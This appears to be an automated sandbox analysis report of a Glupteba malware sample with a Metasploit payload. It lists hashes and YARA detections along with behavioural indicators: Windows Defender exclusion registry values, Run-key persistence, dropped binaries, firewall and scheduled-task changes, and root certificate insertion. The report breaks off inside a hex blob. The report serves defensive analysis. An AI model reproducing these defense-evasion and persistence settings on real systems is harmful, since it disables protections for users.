Analysis
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max time kernel
150s -
max time network
159s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
25-06-2022 03:01
Static task
static1
Behavioral task
behavioral1
Sample
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
Resource
win10v2004-20220414-en
General
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Target
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe
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Size
3.9MB
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MD5
a304fcc7873a037dbaa4750a2708b886
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SHA1
527abe28f3bf912694ba2c73c496783faf306fc8
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SHA256
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696
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SHA512
85e6bf852732c47bf5de9720742d14ca768a9e79494929153c61d806fc0730b2bfb23a62a84125e9951574830460f504d7631bad5aa5bec243d2428d3b2031bd
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba Payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/1672-56-0x0000000002920000-0x0000000003124000-memory.dmp family_glupteba behavioral1/memory/1672-57-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/1672-59-0x0000000002920000-0x0000000003124000-memory.dmp family_glupteba behavioral1/memory/1672-60-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/520-65-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/520-71-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/1760-73-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/1760-74-0x0000000000400000-0x0000000000C2E000-memory.dmp family_glupteba behavioral1/memory/1264-77-0x0000000140000000-0x00000001405E8000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\GreenHill = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 1760 csrss.exe 1264 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Loads dropped DLL 11 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exepatch.exepid process 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe 520 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe 892 1264 patch.exe 1264 patch.exe 1264 patch.exe 1264 patch.exe 1264 patch.exe 1264 patch.exe 1264 patch.exe 1264 patch.exe -
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\GreenHill = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe = "0" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\GreenHill = "\"C:\\Windows\\rss\\csrss.exe\"" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe File created C:\Windows\rss\csrss.exe 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe File created C:\Windows\Logs\CBS\CbsPersist_20220625051853.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 3a9047e8ecfff014c2a32954d3b88e84f92f2655c21de6c8808240ff88afc696.exe -
Processes:
patch.execsrss.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c